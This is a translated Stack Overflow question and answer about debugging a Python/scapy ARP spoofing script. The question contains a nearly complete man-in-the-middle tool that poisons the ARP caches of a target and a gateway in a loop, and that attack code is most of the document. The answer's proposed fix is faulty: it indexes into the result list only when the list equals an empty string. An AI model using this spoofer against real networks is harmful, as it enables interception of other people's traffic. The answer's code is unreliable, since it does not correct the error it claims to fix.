首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >为什么我在编写ARP欺骗攻击时收到索引错误,指出我的列表超出范围?

为什么我在编写ARP欺骗攻击时收到索引错误,指出我的列表超出范围?
EN

Stack Overflow用户
提问于 2020-09-06 14:39:45
回答 1查看 248关注 0票数 0

我正在尝试让mac地址自动添加到欺骗和恢复功能中,而不是手动键入。不久前它工作得很好,但是现在不行了。"get_mac“函数可以自己工作,但是当我把它添加到下面的代码中时,它就不行了。为什么会出现此错误?:

代码语言:javascript
复制
Traceback (most recent call last):
  File "arp_spoof.py", line 33, in <module>
    spoof(target_ip_str, spoof_ip_str)
  File "arp_spoof.py", line 15, in spoof
    target_mac = get_mac(target_ip_str)
  File "arp_spoof.py", line 11, in get_mac
    return answered_list[0][1].hwsrc
  File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
    return self.res.__getitem__(item)
IndexError: list index out of range

这是我的代码:

代码语言:javascript
复制
import scapy.all as sc
import time


def get_mac(ip):
    arp_request = sc.ARP(pdst=ip)
    broadcast = sc.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_broadcast_request = broadcast/arp_request
    answered_list = sc.srp(arp_broadcast_request, timeout=4, verbose=False)[0]

    return answered_list[0][1].hwsrc


def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip_str)
    packet = sc.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    sc.send(packet, verbose=False)


def restore(destination_ip, source_ip):
    destination_mac = get_mac(target_ip_str)
    source_mac = get_mac(source_ip)
    packet = sc.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    sc.send(packet, count=4, verbose=False)


packet_sent_count = 0
target_ip_str = input("Enter the target's IP: ")
spoof_ip_str = input("Enter the gateway or spoof ip: ")

try:
    while True:
        spoof(target_ip_str, spoof_ip_str)
        spoof(spoof_ip_str, target_ip_str)
        packet_sent_count += 2
        print("\r[+] Packets sent: " + str(packet_sent_count), end="")
        time.sleep(2)

except KeyboardInterrupt:
    print("\t\t\n[+] Operation stopped by keyboard interruption [+]")
    restore(target_ip_str, spoof_ip_str)
    restore(spoof_ip_str, target_ip_str)
EN

回答 1

Stack Overflow用户

发布于 2021-10-06 14:54:28

get_mac函数中,编写一条if语句并检查answered_list是否为空;如果为空,则返回answered_list,如下所示:

代码语言:javascript
复制
def get_mac(ip):
 
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, iface="wlan0", timeout=3, verbose=False)[0]
 
    if answered_list == "":
        return answered_list[0][1].hwsrc
票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/63761444

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档